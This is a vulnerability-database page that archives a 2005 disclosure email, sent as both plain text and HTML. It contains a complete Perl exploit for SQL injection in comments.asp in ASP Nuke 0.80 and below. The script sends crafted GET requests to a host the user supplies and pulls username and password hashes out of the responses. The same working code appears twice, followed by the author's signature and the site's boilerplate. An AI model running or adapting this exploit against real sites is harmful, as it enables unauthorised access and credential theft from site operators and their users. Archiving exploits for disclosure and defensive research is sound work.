Vulners
Lucene search
comasp.pl.txt
`This is a multi-part message in MIME format.
------=_NextPart_000_0039_01C5473D.C6C4A380
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
=20
#!/usr/bin/perl
use IO::Socket;
use Getopt::Std;
print "[x]ASP NUKE 0.80 and below Comments.asp Sql Injection Exploit\n";
print "[x]By Diabolic Crab\n";
print "[x]http://www.digitalparadox.org\n\n";
getopt("h:p:");
$opt_p ||=3D 80;
if(!$opt_h) {
die("[x] Usage: $0 -h <host> [-p <port>]\n");
}
$sqlpass =3D "/module/support/task/comments.asp?taskid=3DPassword-- =
HTTP/1.0\n";
$sqllogin =3D "/module/support/task/comments.asp?taskid=3DUsername-- =
HTTP/1.0\n";
print "[x] Host: $opt_h\n";
print "[x] Port: $opt_p\n";
$Q1 =3D "GET $sqllogin";
$Q1 .=3D "Host: ".$opt_h."\n\n";
$Q2 =3D "GET $sqlpass";
$Q2 .=3D "Host: ".$opt_h."\n\n";
$s =3D IO::Socket::INET->new(Proto =3D> 'tcp', PeerAddr =3D> $opt_h, =
PeerPort =3D> $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($usr, 1024);
$s =3D IO::Socket::INET->new(Proto=3D>'tcp', PeerAddr =3D> $opt_h, =
PeerPort =3D> $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($pass, 1024);
$s =3D index($usr,"'");
$e =3D index($usr,"'", $s + 1);
$f =3D $e - $s - 1;
print "[x]Username in SHA 256 is: ";
print substr($usr, $s + 1, $f);
print "\n";
$s =3D index($pass,"'");
$e =3D index($pass,"'", $s + 1);
$f =3D $e - $s - 1;
print "[x]Password hash in SHA 256 is: ";
print substr($pass, $s + 1, $f);
print "\n";
Sincerely,
Diabolic Crab
Web Security, Research & Development
dP Security
email: [email protected]
website: http://www.digitalparadox.org=20
This message is confidential. It may also contain information that is=20
privileged or otherwise legally exempt from disclosure.=20
If you have received it by mistake please let us know by e-mail=20
immediately and delete it from your system; should also not copy=20
the message nor disclose its contents to anyone. Many thanks.
------=_NextPart_000_0039_01C5473D.C6C4A380
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2900.2627" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><!--StartFragment --><FONT =
face=3D"Times New Roman"=20
size=3D3> </FONT><PRE>#!/usr/bin/perl
use IO::Socket;
use Getopt::Std;
print "[x]ASP NUKE 0.80 and below Comments.asp Sql Injection Exploit\n";
print "[x]By Diabolic Crab\n";
print "[x]http://www.digitalparadox.org\n\n";
getopt("h:p:");
$opt_p ||=3D 80;
if(!$opt_h) {
die("[x] Usage: $0 -h <host> [-p <port>]\n");
}
$sqlpass =3D "/module/support/task/comments.asp?taskid=3DPassword-- =
HTTP/1.0\n";
$sqllogin =3D "/module/support/task/comments.asp?taskid=3DUsername-- =
HTTP/1.0\n";
print "[x] Host: $opt_h\n";
print "[x] Port: $opt_p\n";
$Q1 =3D "GET $sqllogin";
$Q1 .=3D "Host: ".$opt_h."\n\n";
$Q2 =3D "GET $sqlpass";
$Q2 .=3D "Host: ".$opt_h."\n\n";
$s =3D IO::Socket::INET->new(Proto =3D> 'tcp', PeerAddr =3D> =
$opt_h, PeerPort =3D> $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($usr, 1024);
$s =3D IO::Socket::INET->new(Proto=3D>'tcp', PeerAddr =3D> =
$opt_h, PeerPort =3D> $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($pass, 1024);
$s =3D index($usr,"'");
$e =3D index($usr,"'", $s + 1);
$f =3D $e - $s - 1;
print "[x]Username in SHA 256 is: ";
print substr($usr, $s + 1, $f);
print "\n";
$s =3D index($pass,"'");
$e =3D index($pass,"'", $s + 1);
$f =3D $e - $s - 1;
print "[x]Password hash in SHA 256 is: ";
print substr($pass, $s + 1, $f);
print "\n";
</PRE></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Sincerely,<BR>Diabolic Crab<BR>Web =
Security, =20
Research & Development<BR>dP Security<BR>email: <A=20
href=3D"mailto:[email protected]">[email protected]</A><BR>=
website:=20
<A =
href=3D"http://www.digitalparadox.org">http://www.digitalparadox.org</A> =
</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>This message is confidential. It may =
also contain=20
information that is <BR>privileged or otherwise legally exempt from =
disclosure.=20
<BR>If you have received it by mistake please let us know by e-mail=20
<BR>immediately and delete it from your system; should also not copy =
<BR>the=20
message nor disclose its contents to anyone. Many thanks.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV></BODY></HTML>
------=_NextPart_000_0039_01C5473D.C6C4A380--
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jun 2005 00:00Current
7.4High risk
Vulners AI Score7.4